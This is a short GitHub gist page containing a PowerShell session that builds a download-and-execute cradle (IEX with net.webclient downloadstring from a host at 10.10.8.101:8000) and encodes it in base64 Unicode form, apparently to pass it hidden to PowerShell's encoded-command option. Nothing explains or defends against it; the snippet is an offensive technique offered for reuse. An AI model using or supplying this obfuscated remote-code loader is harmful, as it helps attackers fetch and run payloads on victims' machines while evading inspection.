Skip to content

Instantly share code, notes, and snippets.

@T0w3ntum
Created February 14, 2019 15:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save T0w3ntum/381fd03716ced4039f6f96705568fef4 to your computer and use it in GitHub Desktop.
Save T0w3ntum/381fd03716ced4039f6f96705568fef4 to your computer and use it in GitHub Desktop.
PS C:\Users\User> $Text = "IEX ((new-object net.webclient).downloadstring('http://10.10.8.101:8000/a'))"
PS C:\Users\User> $Bytes = [System.Text.Encoding]::Unicode.getBytes($Text)
PS C:\Users\User> $EncodedText = [Convert]::ToBase64String($Bytes)
PS C:\Users\User> $EncodedText
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment